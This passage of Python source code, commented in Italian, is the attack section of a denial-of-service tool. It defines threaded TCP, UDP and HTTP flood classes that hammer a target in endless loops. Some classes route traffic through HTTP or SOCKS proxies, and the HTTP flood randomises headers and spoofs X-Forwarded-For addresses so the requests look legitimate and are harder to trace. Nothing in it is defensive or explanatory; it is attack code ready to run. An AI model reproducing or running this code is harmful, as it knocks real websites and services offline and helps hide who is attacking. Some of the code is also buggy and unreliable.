if choice1 == "0": # se si e' scelta la http flood, scrive gli header "statici" per non appesantire i threads
642
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
643
acceptall = [
644
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
645
"Accept-Encoding: gzip, deflate\r\n",
646
"Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
647
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
648
"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
649
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
650
"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
651
"Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
652
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
653
"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
654
"Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
655
"Accept: text/html, application/xhtml+xml",
656
"Accept-Language: en-US,en;q=0.5\r\n",
657
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
658
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
659
] # header accept a caso per far sembrare le richieste più legittime
660
connection = "Connection: Keep-Alive\r\n" # la keep alive torna sempre utile lol
661
x = 0 # thanks therunixx, my friend
662
go = threading.Event()
663
if choice1 == "1": # se si e' scelto tcp flood
664
if choice2 == "y": # e si e scelta la modalita' proxying
665
if choice3 == "0": # e si sono scelti gli HTTP proxy
666
for x in range(threads):
667
TcpFloodProxed(x+1).start() # starta la classe apposita
668
print ("Thread " + str(x) + " ready!")
669
go.set() # questo fa avviare i threads appena sono tutti pronti
670
else: # altrimenti se si sono scelto è il tcp flood con socks
671
for x in range(threads):
672
TcpFloodSocked(x+1).start() # starta la classe apposita
673
print ("Thread " + str(x) + " ready!")
674
go.set() # questo fa avviare i threads appena sono tutti pronti
675
else: # se non si sono stati scelti proxy o socks
676
for x in range(threads):
677
TcpFloodDefault(x+1).start() # starta la classe apposita
678
print ("Thread " + str(x) + " ready!")
679
go.set() # questo fa avviare i threads appena sono tutti pronti
680
else: # oppure:
681
if choice1 == "2": # se si e' scelto l'UDP flood
682
if choice2 == "y": # e si e' scelta la modalita' proxying
683
if choice3 == "0": # e si sono scelti gli HTTP proxy
684
for x in range(threads):
685
UdpFloodProxed(x+1).start() # starta la classe apposita
686
print ("Thread " + str(x) + " ready!")
687
go.set() # questo fa avviare i threads appena sono tutti pronti
688
else: # se si sono scelti i socks
689
for x in range(threads):
690
UdpFloodSocked(x+1).start() # starta la classe apposita
691
print ("Thread " + str(x) + " ready!")
692
go.set() # questo fa avviare i threads appena sono tutti pronti
693
else: # se non si sono scelti proxy o socks per l'udp flood
694
for x in range(threads):
695
UdpFloodDefault(x+1).start() # starta la classe apposita
696
print ("Thread " + str(x) + " ready!")
697
go.set() # questo fa avviare i threads appena sono tutti pronti
698
else: # se si è scelto l'http flood
699
if choice2 == "y": # se abbiamo scelto la modalita' proxying
700
if choice3 == "0": # e abbiamo scelto gli HTTP proxy
701
for x in range(threads):
702
RequestProxyHTTP(x+1).start() # starta la classe apposita
703
print ("Thread " + str(x) + " ready!")
704
go.set() # questo fa avviare i threads appena sono tutti pronti
705
else: # se abbiamo scelto i socks
706
for x in range(threads):
707
RequestSocksHTTP(x+1).start() # starta la classe apposita
708
print ("Thread " + str(x) + " ready!")
709
go.set() # questo fa avviare i threads appena sono tutti pronti
710
else: # altrimenti manda richieste normali non proxate.
711
for x in range(threads):
712
RequestDefaultHTTP(x+1).start() # starta la classe apposita
713
print ("Thread " + str(x) + " ready!")
714
go.set() # questo fa avviare i threads appena sono tutti pronti
715
716
class TcpFloodProxed(threading.Thread): # la classe del multithreading
717
718
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
719
threading.Thread.__init__(self)
720
self.counter = counter
721
722
def run(self): # la funzione che da' le istruzioni ai vari threads
723
data = random._urandom(1024) # data per il pacchetto random
724
p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
725
current = x # per dare l'id al thread
726
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
727
proxy = proxies[current].strip().split(':')
728
else: # altrimenti lo prende a random
729
proxy = random.choice(proxies).strip().split(":")
730
go.wait() # aspetta che tutti i proxy siano pronti
731
while True:
732
try:
733
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP
734
s = socks.socksocket() # creazione socket
735
s.connect((str(url2),int(port))) # si connette
736
s.send(p) # ed invia
737
print ("ProxyStart " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
738
try: # invia altre richieste nello stesso thread
739
for y in range(multiple): # fattore di moltiplicazione
740
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
741
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
742
s.close()
743
except: # se si verifica un errore
744
s.close() # chiude il thread e ricomincia
745
746
class TcpFloodSocked(threading.Thread): # la classe del multithreading
747
748
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
749
threading.Thread.__init__(self)
750
self.counter = counter
751
752
def run(self): # la funzione che da' le istruzioni ai vari threads
753
data = random._urandom(1024) # data per il pacchetto random
754
p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
755
current = x # per dare l'id al thread
756
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
757
proxy = proxies[current].strip().split(':')
758
else: # altrimenti lo prende a random
759
proxy = random.choice(proxies).strip().split(":")
760
go.wait() # aspetta che threads siano pronti
761
while True:
762
try:
763
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying via SOCKS
764
s = socks.socksocket() # creazione socket
765
s.connect((str(url2),int(port))) # si connette
766
s.send(p) # ed invia
767
print ("Proxy Start " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
768
try: # invia altre richieste nello stesso thread
769
for y in range(multiple): # fattore di moltiplicazione
770
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
771
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
772
s.close()
773
except: # se si verifica un errore
774
s.close() # intanto chiude il precedente socket non funzionante
775
try:
776
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
777
s = socks.socksocket() # creazione socket
778
s.connect((str(url2),int(port))) # connessione
779
s.send(p) # invio
780
print ("Proxy Start " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
781
try: # invia altre richieste nello stesso thread
782
for y in range(multiple): # fattore di moltiplicazione
783
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
784
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
785
s.close()
786
except: # se nemmeno questo funge, allora il sock e' down
787
print ("Sock down. Retrying request. @", self.counter)
788
s.close() # chiude il socket e ricomincia ciclo
789
790
class TcpFloodDefault(threading.Thread): # la classe del multithreading
791
792
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
793
threading.Thread.__init__(self)
794
self.counter = counter
795
796
def run(self): # la funzione che da' le istruzioni ai vari threads
797
data = random._urandom(1024) # data per il pacchetto random
798
p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data
799
go.wait() # aspetta che tutti i threads siano pronti
800
while True: # ciclo infinito
801
try: # il try per non far chiudere il programma se qualcosa va storto
802
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione solito socket
803
s.connect((str(url2),int(port))) # connessione al target
804
s.send(p) # questo manda il pacchetto tcp creato al target
805
print ("Request Sent! @", self.counter) # print richiesta + counter
806
try: # invia altre richieste nello stesso thread
807
for y in range(multiple): # fattore di moltiplicazione
808
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
809
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
810
s.close()
811
except: # se si verifica un errore
812
s.close() # lo ignora e ricomincia il ciclo
813
814
class UdpFloodProxed(threading.Thread): # la classe del multithreading
815
816
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
817
threading.Thread.__init__(self)
818
self.counter = counter
819
820
def run(self): # la funzione che da' le istruzioni ai vari threads
821
data = random._urandom(1024) # data per il pacchetto random
822
p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
823
current = x # per dare l'id al thread
824
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
825
proxy = proxies[current].strip().split(':')
826
else: # altrimenti lo prende a random
827
proxy = random.choice(proxies).strip().split(":")
828
go.wait() # aspetta che threads sono pronti
829
while True:
830
try:
831
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP
832
s = socks.socksocket() # creazione socket
833
s.connect((str(url2),int(port))) # connessione
834
s.send(p) # invio
835
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
836
try: # invia altre richieste nello stesso thread
837
for y in range(multiple): # fattore di moltiplicazione
838
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
839
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
840
s.close()
841
except: # se qualcosa va storto
842
s.close() # chiude il socket
843
844
class UdpFloodSocked(threading.Thread): # la classe del multithreading
845
846
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
847
threading.Thread.__init__(self)
848
self.counter = counter
849
850
def run(self): # la funzione che da' le istruzioni ai vari threads
851
data = random._urandom(1024) # data per il pacchetto random
852
p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
853
current = x # per dare l'id al thread
854
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
855
proxy = proxies[current].strip().split(':')
856
else: # altrimenti lo prende a random
857
proxy = random.choice(proxies).strip().split(":")
858
go.wait() # aspetta che threads siano pronti
859
while True:
860
try:
861
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying con SOCKS
862
s = socks.socksocket() # creazione socket
863
s.connect((str(url2),int(port))) # connessione
864
s.send(p) # invio
865
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
866
try: # invia altre richieste nello stesso thread
867
for y in range(multiple): # fattore di moltiplicazione
868
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
869
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
870
s.close()
871
except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
872
s.close() # intanto chiude il precedente socket non funzionante
873
try:
874
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore
875
s = socks.socksocket() # creazione socket
876
s.connect((str(url2),int(port))) # connessione
877
s.send(p) # invio
878
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter
879
try: # invia altre richieste nello stesso thread
880
for y in range(multiple): # fattore di moltiplicazione
881
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
882
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
883
s.close()
884
except: # se nemmeno questo funge, allora il sock e' down
885
print ("Sock down. Retrying request. @", self.counter)
886
s.close() # chiude il socket e ricomincia ciclo
887
888
class UdpFloodDefault(threading.Thread): # la classe del multithreading
889
890
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
891
threading.Thread.__init__(self)
892
self.counter = counter
893
894
def run(self): # la funzione che da' le istruzioni ai vari threads
895
data = random._urandom(1024) # data per il pacchetto random
896
p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data
897
go.wait() # aspetta che i threads siano pronti
898
while True: # ciclo infinito
899
try: # il try per non far chiudere il programma se si verifica qualche errore
900
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione socket
901
s.connect((str(url2),int(port))) # connessione al target
902
s.send(p) # questo manda il pacchetto udp creato al target
903
print ("Request Sent! @", self.counter) # print req + counter
904
try: # invia altre richieste nello stesso thread
905
for y in range(multiple): # fattore di moltiplicazione
906
s.send(str.encode(p)) # encode in bytes della richiesta HTTP
907
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
908
s.close()
909
except: # se si verifica un errore
910
s.close() # lo ignora e ricomincia il ciclo
911
912
class RequestProxyHTTP(threading.Thread): # la classe del multithreading
913
914
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
915
threading.Thread.__init__(self)
916
self.counter = counter
917
918
def run(self): # la funzione che da' le istruzioni ai vari threads
919
useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta useragent a caso
920
accept = random.choice(acceptall) # scelta header accept a caso
921
randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
922
forward = "X-Forwarded-For: " + randomip + "\r\n" # X-Forwarded-For, un header HTTP che permette di incrementare anonimato (vedi google per info)
923
request = get_host + useragent + accept + forward + connection + "\r\n" # ecco la final request
924
current = x # per dare l'id al thread
925
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
926
proxy = proxies[current].strip().split(':')
927
else: # altrimenti lo prende a random
928
proxy = random.choice(proxies).strip().split(":")
929
go.wait() # aspetta che i threads siano pronti
930
while True: # ciclo infinito
931
try:
932
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ecco il nostro socket
933
s.connect((str(proxy[0]), int(proxy[1]))) # connessione al proxy
934
s.send(str.encode(request)) # encode in bytes della richiesta HTTP
935
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print delle richieste
936
try: # invia altre richieste nello stesso thread
937
for y in range(multiple): # fattore di moltiplicazione
938
s.send(str.encode(request)) # encode in bytes della richiesta HTTP
939
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
940
s.close()
941
except:
942
s.close() # se qualcosa va storto, chiude il socket e il ciclo ricomincia
943
944
class RequestSocksHTTP(threading.Thread): # la classe del multithreading
945
946
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
947
threading.Thread.__init__(self)
948
self.counter = counter
949
950
def run(self): # la funzione che da' le istruzioni ai vari threads
951
useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # scelta proxy a caso
952
accept = random.choice(acceptall) # scelta accept a caso
953
request = get_host + useragent + accept + connection + "\r\n" # composizione final request
954
current = x # per dare l'id al thread
955
if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy
956
proxy = proxies[current].strip().split(':')
957
else: # altrimenti lo prende a random
958
proxy = random.choice(proxies).strip().split(":")
959
go.wait() # aspetta che threads siano pronti
960
while True:
961
try:
962
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per proxarci con i socks
963
s = socks.socksocket() # creazione socket con pysocks
964
s.connect((str(url2), int(urlport))) # connessione
965
s.send (str.encode(request)) # invio
966
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
967
try: # invia altre richieste nello stesso thread
968
for y in range(multiple): # fattore di moltiplicazione
969
s.send(str.encode(request)) # encode in bytes della richiesta HTTP
970
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
971
s.close()
972
except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto
973
s.close() # chiude socket
974
try: # il try prova a vedere se l'errore e' causato dalla tipologia di socks errata, infatti prova con SOCKS4
975
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # prova con SOCKS4
976
s = socks.socksocket() # creazione nuovo socket
977
s.connect((str(url2), int(urlport))) # connessione
978
s.send (str.encode(request)) # invio
979
print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter
980
try: # invia altre richieste nello stesso thread
981
for y in range(multiple): # fattore di moltiplicazione
982
s.send(str.encode(request)) # encode in bytes della richiesta HTTP
983
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
984
s.close()
985
except:
986
print ("Sock down. Retrying request. @", self.counter)
987
s.close() # se nemmeno con quel try si e' riuscito a inviare niente, allora il sock e' down e chiude il socket.
988
989
class RequestDefaultHTTP(threading.Thread): # la classe del multithreading
990
991
def __init__(self, counter): # funzione messa su praticamente solo per il counter dei threads. Il parametro counter della funzione, passa l'x+1 di sopra come variabile counter
992
threading.Thread.__init__(self)
993
self.counter = counter
994
995
def run(self): # la funzione che da' le istruzioni ai vari threads
996
useragent = "User-Agent: " + random.choice(useragents) + "\r\n" # useragent a caso
997
accept = random.choice(acceptall) # accept a caso
998
request = get_host + useragent + accept + connection + "\r\n" # composizione final request
999
go.wait() # aspetta che i threads siano pronti
1000
while True:
1001
try:
1002
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione socket
1003
s.connect((str(url2), int(urlport))) # connessione
1004
s.send (str.encode(request)) # invio
1005
print ("Request sent! @", self.counter) # print req + counter
1006
try: # invia altre richieste nello stesso thread
1007
for y in range(multiple): # fattore di moltiplicazione
1008
s.send(str.encode(request)) # encode in bytes della richiesta HTTP
1009
except: # se qualcosa va storto, chiude il socket e il ciclo ricomincia
1010
s.close()
1011
except: # se qualcosa va storto
1012
s.close() # chiude socket e ricomincia
1013
1014
1015
if __name__ == '__main__':
1016
starturl() # questo fa startare la prima funzione del programma, che a sua volta ne starta un altra, poi un altra, fino ad arrivare all'attacco.
1017